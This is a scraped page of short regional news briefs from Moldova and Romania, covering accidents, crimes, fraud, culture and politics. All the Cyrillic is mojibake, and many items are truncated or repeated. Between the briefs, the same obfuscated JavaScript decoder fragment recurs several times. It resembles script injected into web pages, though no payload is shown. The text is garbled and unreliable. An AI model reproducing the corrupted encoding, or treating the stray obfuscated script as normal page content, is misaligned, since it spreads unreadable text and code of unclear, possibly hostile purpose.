Èñ÷åçíîâåíèå ñåìüè Áðàòóíîâûõ ïåðâîé çàìåòèëà ñîñåäêà. Åå ïîðàçèëà ñòðàííàÿ òèøèíà â èõ äâîðå. 65-ëåòíèé õîçÿèí äîìà Ìèõàèë, åãî ñóïðóãà Ìàðèÿ è 38-ëåòíèé ñûí Ñåìåí îòëè÷àëèñü íåîáûêíîâåííûì òðóäîëþáèåì è ñïîçàðàíêó äî ïîçäíåãî âå÷åðà áûëè çàíÿòû ñâîèìè êðåñòüÿíñêèìè äåëàìè (Êîìðàò, ãäå îíè æèëè, õîòü è ÷èñëèòñÿ ãîðîäîì, ïî ñóòè îñòàåòñÿ äåðåâíåé). Òåì áîëåå ïîðà ãîðÿ÷àÿ - ïðèãîòîâëåíèå âèíà, à çäåñü ïðàêòè÷åñêè êàæäûé - âèíîäåë.
Ïî÷óâñòâîâàâ íåëàäíîå (âî äâîðå, íåñìîòðÿ íà ÿðêîå ñîëíå÷íîå óòðî, ãîðåë ýëåêòðè÷åñêèé ñâåò), ñîñåäêà áðîñèëàñü çà æèâøåé íåïîäàëåêó çàìóæíåé äî÷åðüþ Áðàòóíîâûõ. Âäâîåì ñ íåé îíè è ñäåëàëè ãîðåñòíîå îòêðûòèå. Äîì áûë ïóñò, õîòÿ ñòîë áûë íàêðûò, à âñå òðîå åãî îáèòàòåëåé áåç ïðèçíàêîâ æèçíè ëåæàëè â ïîäâàëå ó áî÷åê ñ âèíîì.
Ñðî÷íî ïðèáûâøàÿ "ñêîðàÿ" íè÷åì ïîìî÷ü óæå íå ìîãëà. Âðà÷ êîíñòàòèðîâàë ñìåðòü âñåõ ÷ëåíîâ íåáîëüøîé ñåìüè.
Íè ó ìåäèêîâ, íè ó ìèëèöèè ñîìíåíèé íå âîçíèêëî - ïðîèçîøåë íåñ÷àñòíûé ñëó÷àé. Äðóæíàÿ, ðàáîòÿùàÿ ñåìüÿ, óìåâøàÿ ãîòîâèòü îòìåííîå äîìàøíåå âèíî, îò íåãî è ïîãèáëà. Ïàðàäîêñ ñîñòîèò â òîì, ÷òî íàïèòêîì ýòèì îíè...
Âåñüìà ïå÷àëüíî çàâåðøèëàñü äëÿ äâàäöàòèëåòíåé êèøèíåâêè Àëåêñàíäðû Ã. óâåñåëèòåëüíàÿ ïîåçäêà ñ ïðèÿòåëÿìè.
Îáçàâåäÿñü ñîáñòâåííûì àâòîìîáèëåì (ñîñòîÿòåëüíûå ðîäèòåëè ïîçàáîòèëèñü) è ïðàâàìè, äåâóøêà ðåøèëà ïðîêàòèòü íà ñòàëüíîì êîíå ïàðíåé, ñ êîòîðûìè íåäàâíî ïîçíàêîìèëàñü. Ïîíà÷àëó êîëåñèëè ïî óëèöàì ãîðîäà, à çàòåì ðåøèëè îáîçðåòü îêðåñòíîñòè ñòîëèöû. Íà îäíîé èç ãëóõèõ îêðàèí ãîðîäà âñå è ïðîèçîøëî. Äðóçüÿ âåñüìà ñâîåîáðàçíî "îòáëàãîäàðèëè" äåâóøêó çà ïðîãóëêó. Êîãäà Àëåêñàíäðà ïî èõ ïðîñüáå îñòàíîâèëà àâòîìîáèëü, ïàññàæèðû íàáðîñèëèñü íà íåå è èçíàñèëîâàëè. Íàñèëüíèêè âñêîðå ïðåäñòàíóò ïåðåä ñóäîì.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
 Êèøèíåâå ïðîøåë íåîáû÷íûé êèíîïðîåêò, ïðîâåäåííûé ÎÀÎ "Ãàçïðîì" è ðîññèéñêèì ïîñîëüñòâîì
 Êèøèíåâå ïðîøåë íåîáû÷íûé êèíîïðîåêò, ïðîâåäåííûé ÎÀÎ "Ãàçïðîì" è ðîññèéñêèì ïîñîëüñòâîì ñîâìåñòíî ñ ñåòüþ êèíîòåàòðîâ "Ïàòðèÿ".  òå÷åíèå âîñüìè äíåé â ñàìîì ôåøåíåáåëüíîì êèíîçàëå ñòîëèöû Ìîëäàâèè øåë ïðåìüåðíûé ïîêàç îäíîãî èç ëó÷øèõ ðîññèéñêèõ ôèëüìîâ ïîñëåäíåé ïîðû "Êóêóøêà", ñîçäàííîãî ðåæèññåðîì Àëåêñàíäðîì Ðîãîæêèíûì, ëåíòû êîòîðîãî "Îñîáåííîñòè íàöèîíàëüíîé îõîòû", "Îñîáåííîñòè íàöèîíàëüíîé ðûáàëêè", "Áëîêïîñò" èçâåñòíû ìíîãîìèëëèîííîé çðèòåëüñêîé àóäèòîðèè. Êèíîìàíû Ìîëäàâèè ïðàêòè÷åñêè âïåðâûå ñ ìîìåíòà îáðåòåíèÿ ñòðàíîé íåçàâèñèìîñòè ïîëó÷èëè âîçìîæíîñòü îçíàêîìèòüñÿ ñ êèíåìàòîãðàôè÷åñêîé íîâèíêîé Ðîññèè ïî÷òè îäíîâðåìåííî...
Õóäîæåñòâåííûõ ôèëüìîâ î âàìïèðàõ ñîçäàíî íåìàëî. Íî ïàëüìó ïåðâåíñòâà íå óïóñêàåò ëåãåíäàðíûé ðóìûíñêèé Äðàêóëà, äàâøèé áîãàòóþ ïèùó ìàñòåðàì Ãîëëèâóäà.
Ðóìûíñêèå òåëåâèçèîíùèêè ðåøèëè ñêàçàòü ñâîå ñëîâî è ïðèñòóïèëè ê ñúåìêàì äîêóìåíòàëüíîãî ôèëüìà, êîòîðûé ïî çàìûñëó àâòîðîâ ïðîëüåò ñâåò íà ìèô î âàìïèðàõ. Ñúåìî÷íàÿ ãðóïïà òåëåêàíàëà "Íàöèîíàëü ãåîãðàôèê", â êîòîðóþ âîøëè èçâåñòíûå èñòîðèêè, äðóãèå ó÷åíûå, îòïðàâèëàñü â Ðóìûíèþ - â ìåñòà, ñâÿçàííûå ñ ãðàôîì Âëàäîì Öåïåøåì, áîëüøå èçâåñòíûì â êà÷åñòâå âàìïèðà Äðàêóëû. Àâòîðû ïðîåêòà ïîïûòàþòñÿ äîêàçàòü, ÷òî ëåãåíäû î "êðîâîïèéöàõ" çèæäÿòñÿ íà íåâåæåñòâå ëþäåé.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return...
Æèòåëè ñåëà Ìåðåíû èç Êèøèíåâñêîãî óåçäà íå âåäàëè, ÷òî òðèäöàòü òðè èõ îäíîñåëü÷àíèíà
Æèòåëè ñåëà Ìåðåíû èç Êèøèíåâñêîãî óåçäà íå âåäàëè, ÷òî òðèäöàòü òðè èõ îäíîñåëü÷àíèíà îòïðàâèëèñü çà ãðàíèöó, ÷òîáû ïðèíÿòü ó÷àñòèå â ìåæäóíàðîäíîé êîíôåðåíöèè ïî ïðîáëåìàì ñåëüñêîãî õîçÿéñòâà ïîä ýãèäîé Ñîâåòà Åâðîïû. Îíî è ïîíÿòíî, èáî îðãàíèçîâàâøèé ïîåçäêó ãëàâà ìåñòíîé àäìèíèñòðàöèè - ýòî îí ïèñàë â ÑÅ ïèñüìî ñ ïðîñüáîé äàòü äîáðî íà ïðèáûòèå íà ôîðóì - ïðåêðàñíî çíàë, ÷òî íèêòî èç åãî çåìëÿêîâ íèêóäà íå ïîåäåò. Âñå òðèäöàòü òðè áîãàòûðÿ áûëè ãàñòàðáàéòåðàìè, êîòîðûõ êèøèíåâñêàÿ ôèðìà "Ãàáèàíî-Ðàäó" ðåøèëà ïîëóëåãàëüíî îòïðàâèòü â Èòàëèþ íà çàðàáîòêè. Êàæäûé îòúåçæàþùèé âíîñèë çà âèçû ïî 1800 äîëëàðîâ. È õîòÿ äîêóìåíòû ó "äåëåãàòîâ"...
Îòïðàâëÿÿñü â êîëîíèþ íà ñâèäàíèå ñ îñóæäåííûì "äðóãîì", 20-ëåòíÿÿ Åêàòåðèíà Ì. è ïðåäïîëîæèòü íå ìîãëà, ÷òî åå òàì æäåò. Ïåðâîå ñâèäàíèå ñîñòîÿëîñü âñåãî äâà ìåñÿöà íàçàä: êðàòêîñðî÷íîå, íà ÷åòûðå ÷àñà. Çàòåì ïàðå ïðåäîñòàâèëè âîçìîæíîñòü áûòü âìåñòå öåëûõ ïÿòü ñóòîê. À âîò òðåòüå, àíàëîãè÷íîå ðàíäåâó çàâåðøèëîñü òðàãè÷åñêè óæå â ïåðâûé äåíü. Íî îá ýòîì ñòàëî èçâåñòíî ëèøü ñïóñòÿ ÷åòâåðî ñóòîê. Êîíâîèðû âîøëè â êîìíàòó ñâèäàíèé, ãäå æèëè âîçëþáëåííûå, è òóò æå ïî÷óâñòâîâàëè òÿæåëûé çàïàõ. 38-ëåòíèé Ñåðãåé Áóðäèÿí ñèäåë íà êðîâàòè, à åãî äàìà - ðÿäîì, óêðûòàÿ ñ ãîëîâîé. Îíà áûëà ìåðòâà.
Ñåé÷àñ ñëåäñòâèå ïûòàåòñÿ âûÿñíèòü äåòàëè òðàãåäèè, ðàçûãðàâøåéñÿ â êîìíàòå ñâèäàíèé Êðèêîâñêîé êîëîíèè. Ñâèäåòåëåé íåò, à Áóðäèÿí äàåò ïðîòèâîðå÷èâûå ïîêàçàíèÿ. Îí çàÿâèë, ÷òî Êàòÿ ÿêîáû ïðèíåñëà ñ ñîáîé âîäêó, ñ íåïðèâû÷êè îí çàõìåëåë è çàñíóë. À êîãäà ïðèøåë â ñåáÿ, óâèäåë, ÷òî îíà ëåæèò îêðîâàâëåííàÿ. Äåâóøêà áûëà åùå æèâà è ðàññêàçàëà, ÷òî ïîêà Ñåðãåé áûë íåâìåíÿåìûì â êîìíàòó çàøåë åãî ñîêàìåðíèê è ïîïûòàëñÿ èçíàñèëîâàòü. Êàòÿ íå äàëàñü, è òîãäà çýê æåñòîêî èçáèë åå. Óçíàâ îá ýòîì, Áóðäèÿí îò îãîð÷åíèÿ âíîâü âûïèë è îòêëþ÷èëñÿ â î÷åðåäíîé ðàç. À êîãäà ïðèøåë â ñåáÿ, Êàòÿ áûëà óæå ìåðòâà...
- Âåðñèÿ íå âûäåðæèâàåò êðèòèêè, - óòâåðæäàåò...
Ëèøü ÷åòâåðòü âûïóñêíèêîâ ïåäàãîãè÷åñêèõ ó÷åáíûõ çàâåäåíèé Ìîëäàâèè ïðèñòóïèëè â íûíåøíåì ãîäó ïîñëå îêîí÷àíèÿ âóçà ê ðàáîòå.
Ìîëîäûå ñïåöèàëèñòû ïðåäïî÷ëè ñïðÿòàòü ñâåæåíüêèå äèïëîìû, êàê ãîâîðèòñÿ, â ÷óëîê è çàíÿòüñÿ ÷åì óãîäíî, íåæåëè "cåÿòü" ñâåòëîå, âå÷íîå - çíàíèÿ. Âñÿ áåäà â òîì, ÷òî ó÷èòåëÿ ïîëó÷àþò ñìåõîòâîðíóþ çàðïëàòó, äà è òó íå â ñðîê. Ñòàâêà ïåäàãîãà-äåáþòàíòà 177 ëååâ, ÷òî â ïåðåñ÷åòå íà áîëåå ïîíÿòíûé ÿçûê "çåëåíûõ" ñîñòàâëÿåò ÷åðòîâó äþæèíó äîëëàðîâ. Êòî çà òàêèå äåíüãè áóäåò çàíèìàòüñÿ íåïðîñòûì øêîëüíûì òðóäîì?
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const...
 òå÷åíèå äåñÿòè äíåé - ñ 10 ïî 20 îêòÿáðÿ âñå èíîñòðàíöû, âúåçæàþùèå â Ìîëäàâèþ, íå áóäóò
 òå÷åíèå äåñÿòè äíåé - ñ 10 ïî 20 îêòÿáðÿ âñå èíîñòðàíöû, âúåçæàþùèå â Ìîëäàâèþ, íå áóäóò îïëà÷èâàòü âèçû, êîòîðûå îáû÷íî ñòîÿò íåñêîëüêî äåñÿòêîâ äîëëàðîâ. Ñòîëü íåîáû÷íîå ðåøåíèå â ðåñïóáëèêå, ãäå êàòàñòðîôè÷åñêè íå õâàòàåò äåíåã â áþäæåòå, ñäåëàëè êàê ðàç äëÿ òîãî, ÷òî àêòèâíåå ïîïîëíÿòü êàçíó. Äåëî â òîì, ÷òî 13 è 14 îêòÿáðÿ âî âñåé Ìîëäàâèè ïðîâîäèòñÿ ôåñòèâàëü âèíà, ïðèóðî÷åííûé ê ïðàçäíèêó âèíîäåëîâ - íàöèîíàëüíîìó äíþ âèíà, êîòîðûé îòíûíå áóäåò îòìå÷àòüñÿ åæåãîäíî âî âòîðîå âîñêðåñåíüå îêòÿáðÿ. Ðàçíîîáðàçíàÿ ôåñòèâàëüíàÿ ïðîãðàììà, ãëàâíàÿ èçþìèíêà êîòîðîé, åñòåñòâåííî - äåãóñòàöèÿ ïðîäóêòà, èçãîòîâëåííîãî èç ÿíòàðíûõ è ðóáèíîâûõ...
Ðå÷ü èäåò î áîåïðèïàñàõ, õðàíÿùèõñÿ íà òåððèòîðèè Ïðèäíåñòðîâüÿ ñ òåõ ïîð, êîãäà çäåñü äèñëîöèðîâàëàñü ÷åòûðíàäöàòàÿ àðìèÿ, ïðåîáðàçîâàííàÿ ïîçæå â îãðàíè÷åííóþ ãðóïïó ðîññèéñêèõ âîéñê.
 ïðîøëîì ãîäó Òèðàñïîëü îñòàíîâèë ýòîò ïðîöåññ, ïîòðåáîâàâ îò ðîññèéñêîé ñòîðîíû êîìïåíñàöèè çà âûâîçèìîå âîåííîå èìóùåñòâî. Çäåñü åãî ñ÷èòàþò ñîáñòâåííîñòüþ ÏÌÐ.
 Ðîññèþ óøëî ëèøü òðè ýøåëîíà ñ áîåïðèïàñàìè. ×åòâåðòûé, ïîäãîòîâëåííûé ê îòïðàâêå, òàê è çàñòðÿë íà æåëåçíîäîðîæíûõ ïóòÿõ. Íå èñêëþ÷åíî, ÷òî ñåé÷àñ åìó äàäóò çåëåíûé ñâåò.
Íà Ñòàìáóëüñêîì ñàììèòå ÎÁÑÅ Ðîññèÿ âçÿëà îáÿçàòåëüñòâî âûâåçòè âñå áîåïðèïàñû ê êîíöó íûíåøíåãî ãîäà. Òèðàñïîëü ïðåïÿòñòâóåò. Íà ìèíóâøåé íåäåëå ñîñòîÿëèñü òðåõäíåâíûå ïåðåãîâîðû ìåæäó äåëåãàöèåé Ìèíèñòåðñòâà îáîðîíû Ðîññèè, âîçãëàâëÿåìîé çàìåñòèòåëåì ìèíèñòðà Âëàäèìèðîì Èñàêîâûì (â åå ñîñòàâ âõîäèëè...
Íå èìåÿ çà äóøîé íè ãðîøà, äâóì ìîøåííèêàì óäàëîñü ïîëó÷èòü â îäíîì èç êîììåð÷åñêèõ áàíêîâ Êèøèíåâà êðåäèò, ïðåâûøàþùèé 45 òûñÿ÷ äîëëàðîâ.
Êòî õîòü ðàç îáðàùàëñÿ çà ôèíàíñîâîé ïîìîùüþ â ó÷ðåæäåíèÿ ïîäîáíîãî ðîäà, çíàåò, ñêîëüêî âñåâîçìîæíûõ ïðåãðàä íåîáõîäèìî ïðåîäîëåòü, ÷òîáû ïîëó÷èòü è çíà÷èòåëüíî ìåíüøóþ ñóììó. Ãëåáó Ñ. è Ñåðãåþ ß. òîæå ïðèøëîñü ïðåäîñòàâèòü íåìàëî áóìàã, âñåâîçìîæíûõ äîêóìåíòîâ. Äîòîøíûå áàíêèðû â êîíöå êîíöîâ âûäàëè ïðîñèòåëÿì èñêîìûå ñðåäñòâà. Íî íà ñåé ðàç ôèíàíñèñòû "ïðîìîðãàëè"- âñå äîêóìåíòû áûëè ïîääåëüíûìè. Âûÿñíèëîñü ýòî ïîñëå òîãî, êàê äåíüãè íå òîëüêî "óøëè" èç áàíêà, íî è áûëè ïîòðà÷åíû. Ê ñ÷àñòüþ, ìîøåííèêîâ óäàëîñü äîâîëüíî áûñòðî îáíàðóæèòü è ïðèâëå÷ü ê îòâåòñòâåííîñòè.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return...
Áîðèñ Ãåðìàí, ÷òî æèâåò â ñåëå Õèòðåøòü Áåëüöêîãî óåçäà Ìîëäàâèè, ïðîñëàâèëñÿ íà âñþ îêðóãó õèòðîóìíûìè èçîáðåòåíèÿìè.
Ïîñëåäíÿÿ åãî çàäóìêà, êîòîðàÿ áëèçêà ê îñóùåñòâëåíèþ, - îòîïëåíèå äîìà ïîñðåäñòâîì ãàçà ñîáñòâåííîãî ïðîèçâîäñòâà. Èñõîäíûì ñûðüåì äëÿ ïîëó÷åíèÿ òîïëèâà Áîðèñó ñëóæèò îáûêíîâåííûé íàâîç, êîòîðîãî íà êðåñòüÿíñêîì ïîäâîðüå âñåãäà â èçáûòêå. Ñåëüñêèé óìåëåö èçãîòîâèë ñïåöèàëüíóþ ìíîãîêóáîâóþ åìêîñòü, â êîòîðîé íàâîç ñáðàæèâàåòñÿ, âûäåëÿÿ ìåòàí, âïîëíå ïðèãîäíûé äëÿ îòîïëåíèÿ äîìà è áûòîâûõ íóæä. Ãàçà, ïîëó÷àåìîãî åæåäíåâíî îò ýòîé íåîáû÷íîé óñòàíîâêè, õâàòàåò, ïî ñëîâàì àâòîðà, íà îòîïëåíèå äàæå äâóõ äîìîâ.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
Äâà ãîäà âîñüìèäåñÿòèòðåõëåòíÿÿ Åëåíà Ãðåêó èç ñåëà Áðîñêýóöü Áîòîøàíñêîãî óåçäà Ðóìûíèè íèêàê íå ìîãëà ðåøèòü ñïîðíûé âîïðîñ, ñâÿçàííûé ñî ñâîèì çåìåëüíûì ó÷àñòêîì.
Òîãäà îò÷àÿâøàÿñÿ ñòàðóøêà ðåøèëà íàïèñàòü ñàìîìó ãëàâå óåçäà. Äà ñäåëàòü ýòî íå â âèäå îáû÷íîé æàëîáû, êàêèõ íà èìÿ âûñîêîãî íà÷àëüñòâà åæåäíåâíî ñîòíè ïîñòóïàåò, à â ñòèõàõ.  äåâÿòíàäöàòè äîâîëüíî ñêëàäíî çàðèôìîâàííûõ ñòðîôàõ ïðåñòàðåëàÿ "ïîýòåññà" èçëîæèëà ñóòü ñâîåé ïðîáëåìû, ïðèëîæèâ â êà÷åñòâå ïîäòâåðæäàþùèõ àðãóìåíòîâ êîïèè âñåõ èìåþùèõñÿ ó íåå äîêóìåíòîâ. È - ïîìîãëî!
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const...
22-ëåòíèé Âàëåðèé Êëàéêíåò èç ñåëà Ïåòðîïàâëîâñêà Áåëüöêîãî óåçäà Ìîëäàâèè â òîò çëîïîëó÷íûé äåíü ñ óòðà, êàê âñåãäà, îòïðàâèëñÿ â ïîëå îáðàáàòûâàòü ïîñåâû.
Ïîãîäà áûëà ïðåêðàñíàÿ, è íè÷òî íå ïðåäâåùàëî áåäû. È âäðóã, â ìãíîâåíèå îêà, íåáî çàâîëîêëî òó÷àìè, è íà÷àëñÿ ëèâåíü. Ïàðåíü, ÷òî åñòü ìî÷è, ïîì÷àëñÿ äîìîé. Åäâà þíîøà çàñêî÷èë âî äâîð, ãðîìûõíóëî òàê, ñëîâíî íåáî ðàçâåðçëîñü, è ìîùíàÿ ìîëíèÿ, êàê âîëîñèíêó, ñðåçàëà ñòàðóþ ìîãó÷óþ àêàöèþ ó çàáîðà. Òÿæåëîå äåðåâî óïàëî â íåñêîëüêèõ ñàíòèìåòðàõ îò Âàëåðèÿ, åäâà íå çàäåâ åãî. Îäíàêî ýëåêòðè÷åñêèé çàðÿä âñå æå ïîðàçèë íå òîëüêî àêàöèþ, íî è ïðîáåãàâøåãî ìèìî ïàðíÿ. Îí òóò æå ñêîí÷àëñÿ, óïàâ ðÿäîì ñ èñïîëèíîì.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
 äîìå Èîàíà Ïàíêó, æèòåëÿ ðóìûíñêîãî ãîðîäà Áîòîøàíü, ãîòîâèëèñü ê ïîõîðîíàì. È òóò ðàçäàëñÿ
 äîìå Èîàíà Ïàíêó, æèòåëÿ ðóìûíñêîãî ãîðîäà Áîòîøàíü, ãîòîâèëèñü ê ïîõîðîíàì. È òóò ðàçäàëñÿ òåëåôîííûé çâîíîê. Çâîíèë... ïîêîéíèê.
Îïå÷àëåííûå áëèçêèå íå ñðàçó ïîâåðèëè, ÷òî ýòî íå ìèñòèêà. Íî âñå áûñòðî ðàçúÿñíèëîñü. Îêàçûâàåòñÿ, êîãäà ìåñÿö íàçàä 59-ëåòíèé Èîàí âûøåë èç äîìó íà ïðîãóëêó, ñ íèì ñëó÷èëñÿ âíåçàïíûé ïðèñòóï àìíåçèè: çàáûë àäðåñ, òåëåôîí è äàæå ñâîå èìÿ. À ïîñêîëüêó äîêóìåíòîâ ó íåãî íå áûëî, ïîïàë â ïñèõèàòðè÷åñêóþ êëèíèêó. Ê ñ÷àñòüþ, Èîàí ïîïðàâèëñÿ, âñå âñïîìíèë è ïåðâûì äåëîì ïîçâîíèë äîìîé, óãàäàâ êàê ðàç ê ïå÷àëüíîìó ìîìåíòó. Äåëî â òîì, ÷òî áåçóñïåøíî ðàçûñêèâàâøèå åãî ðîäñòâåííèêè, â êîíöå êîíöîâ, ïî îøèáêå îïîçíàëè...
 Ðóìûíèè ñîçäàí àïïàðàò âðîäå "äåòåêòîðà ëæè", ïðîâåðÿþùèé èñòèííîñòü ÷óâñòâ ìåæäó ðàçíûìè ïîëàìè. Èíæåíåð Ìèõàé Áóðáóëåñêó óòâåðæäàåò, ÷òî îí òî÷íî ïîäñêàæåò, ïèòàþò ëè ê âàì îòâåòíûå ÷óâñòâà, è äàæå îïðåäåëèò èõ ñèëó.
Äëÿ èñïûòàíèÿ íàäî íàäåòü íà ðóêó ñóæåíîìó áðàñëåò, áóêâàëüíî íàøïèãîâàííûé âñåâîçìîæíûìè ñåíñîðàìè, óëàâëèâàþùèìè ÷àñòîòó ïóëüñà è ìíîãèå äðóãèå ïðîöåññû, ïðîèñõîäÿùèå â îðãàíèçìå è íåçàìåòíûå îáû÷íîìó ãëàçó. È íà ñïåöèàëüíîì ýêðàíå âûñâåòèòñÿ, íàñêîëüêî íå ðàâíîäóøåí ê âàì ïðåäìåò âàøåãî îáîæàíèÿ. Èíæåíåð, ïðàâäà, îãîâàðèâàåò, ÷òî âïîëíå äîñòîâåðíî åãî áðàñëåò îïðåäåëÿåò ëèøü ñèëó ëþáâè ìóæñêîé ïîëîâèíû. Ñ æåíñêîé ñèòóàöèÿ íåñêîëüêî ñëîæíåå, ïîñêîëüêó ïñèõèêà ìèëûõ äàì òîíüøå è èì ïîðîé âñå æå óäàåòñÿ ïðîâåñòè "äåòåêòîð ëþáâè".
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
Íåêèé Ãåîðãèé Ä. èç ñåëà Íèãðåøòü Êèøèíåâñêîãî óåçäà Ìîëäàâèè ýòó ïåñíþ Âûñîöêîãî âðÿä ëè ñëûøàë. Äà è â îòëè÷èå îò åå ãåðîÿ òî÷íî çíàë, ê êîìó ïðèøåë â ãîñòè â Êèøèíåâå.
Îäíàêî ÷òî çàñòàâèëî åãî ïîâòîðèòü äåéñòâèÿ ïåñåííîãî ñîáðàòà, ïðèïîìíèòü íå ìîæåò. Çàòî ñòîëè÷íàÿ ïîëèöèÿ âòîëêîâàëà íåçàäà÷ëèâîìó ïîäðàæàòåëþ, ÷òî íàêàíóíå îí âûáðîñèë èç îêíà äåâÿòîãî ýòàæà òåëåâèçîð. Äà òàê ëîâêî, ÷òî òÿæåëàÿ òåõíèêà óãîäèëà àêêóðàò íà "îïåëü-âåêòðó", ïðèïàðêîâàííóþ âî äâîðå.  ðåçóëüòàòå óùåðá îò áðîñêà îöåíèâàåòñÿ â òðèäöàòü òûñÿ÷ ìîëäàâñêèõ ëåé - áîëåå äâóõ òûñÿ÷ äîëëàðîâ. Òåïåðü ÷óìíîìó "ìåòàòåëþ" ïðèäåòñÿ óïëàòèòü çà ïîâðåæäåíèÿ, íàíåñåííûå àâòîìîáèëþ, äà åùå îòâå÷àòü ïî ñòàòüå çà çëîñòíûå õóëèãàíñêèå äåéñòâèÿ.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
Íåîáû÷íûé êàðàâàí ñêîðî îòïðàâèòñÿ â Áîëãàðèþ èç ñåëà Òâàðäèöà Òàðàêëèéñêîãî óåçäà Ìîëäàâèè, â êîòîðîì ïðîæèâàþò â îñíîâíîì ïîòîìêè áîëãàðñêèõ ïåðåñåëåíöåâ âòîðîé ïîëîâèíû XIX âåêà.
Ñîñòîÿòü îí áóäåò èç òåëåã, ïîäîáíûõ òåì, íà êîòîðûõ ñòî ñ ëèøíèì ëåò íàçàä ïðèáûëè â ïóñòûííûå òîãäà Áóäæàêñêèå ñòåïè áîëãàðñêèå êðåñòüÿíå, ïîæåëàâøèå ïîñëå çàâåðøåíèÿ ðóññêî-òóðåöêîé âîéíû îñåñòü â ýòèõ ìåñòàõ. Íà ñåé ðàç ïóòü â òåëåãàõ äåðæàòü áóäóò ëþäè â îñíîâå ñâîåé îñòåïåíåííûå - ó÷åíûå-áîëãàðèñòû, ðåøèâøèå ïðîéòè ìàðøðóòîì ïåðåñåëåíöåâ â óñëîâèÿõ, ìàêñèìàëüíî ïðèáëèæåííûõ ê òåì, â êîòîðûõ ïóòåøåñòâîâàëè ïðåäêè íûíåøíèõ ìîëäàâñêèõ áîëãàð. Íåîáû÷íàÿ ýêñïåäèöèÿ çàâåðøèòñÿ 3 ìàðòà 2003 ãîäà.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
 ïåðâûõ ÷èñëàõ ñåíòÿáðÿ 38 ëåò íàçàä çàâåðøèëàñü îäíà èç ñòðàòåãè÷åñêèõ áèòâ Âåëèêîé
 ïåðâûõ ÷èñëàõ ñåíòÿáðÿ 38 ëåò íàçàä çàâåðøèëàñü îäíà èç ñòðàòåãè÷åñêèõ áèòâ Âåëèêîé Îòå÷åñòâåííîé âîéíû - ßññêî-Êèøèíåâñêàÿ îïåðàöèÿ.  ðåçóëüòàòå áûëà ïîëíîñòüþ îñâîáîæäåíà Ìîëäàâèÿ. Ýòà íåêðóãëàÿ äàòà ïðîøëà â Ìîëäàâèè ïî÷òè íåçàìå÷åííîé - îôèöèàëüíûé Êèøèíåâ ñïåöèàëüíûõ ìåðîïðèÿòèé ïî ñëó÷àþ ãîäîâùèíû îïåðàöèè íå ïðîâîäèë. Îäíàêî â ðåñïóáëèêå åñòü íåáîëüøîå ñåëî Ìàëèíîâñêîå, ãäå òîðæåñòâà, ñâÿçàííûå ñ èñòîðè÷åñêîé áèòâîé, âñå æå ñîñòîÿëèñü. Çäåñü â òå ãîäû ðàñïîëàãàëñÿ øòàá 2-ãî Óêðàèíñêîãî ôðîíòà ïîä êîìàíäîâàíèåì Ðîäèîíà Ìàëèíîâñêîãî, îòêóäà è îñóùåñòâëÿëîñü ðóêîâîäñòâî îïåðàöèåé. 25 ëåò íàçàä â ñåëå, ïåðåèìåíîâàííîì â ÷åñòü âåëèêîãî...
Ñëàâà Þðèÿ Ìàòåÿ åùå íå äîñòèãëà Ðîññèè. Çàòî íà Çàïàäå ðàáîòû õóäîæíèêà, âïåðâûå âûñòàâèâøåãîñÿ â àìñòåðäàìñêîì "Àðò-öåíòðå" îñåíüþ äåâÿíîñòî ñåäüìîãî, ïîëüçóþòñÿ áóðíî ðàñòóùåé ïîïóëÿðíîñòüþ. Ïåðñîíàëüíûå âûñòàâêè 34-ëåòíåãî ìàñòåðà ðàñïèñàíû íà íåñêîëüêî ëåò âïåðåä: ÿíâàðü 2003 ãîäà - Íüþ-Éîðê, ìàðò - Ãààãà, ìàé - Ìàäðèä, îñåíüþ - Ëîíäîí... Ïðè÷åì êàæäûé ïîêàç - ýòî âñåãäà íîâûå ðàáîòû: êàðòèíû Þðèÿ â Êèøèíåâ ïðàêòè÷åñêè íå âîçâðàùàþòñÿ, îíè îñåäàþò â ÷àñòíûõ êîëëåêöèÿõ è ìóçåÿõ (ïðîäàíî óæå îêîëî òðåõñîò)...
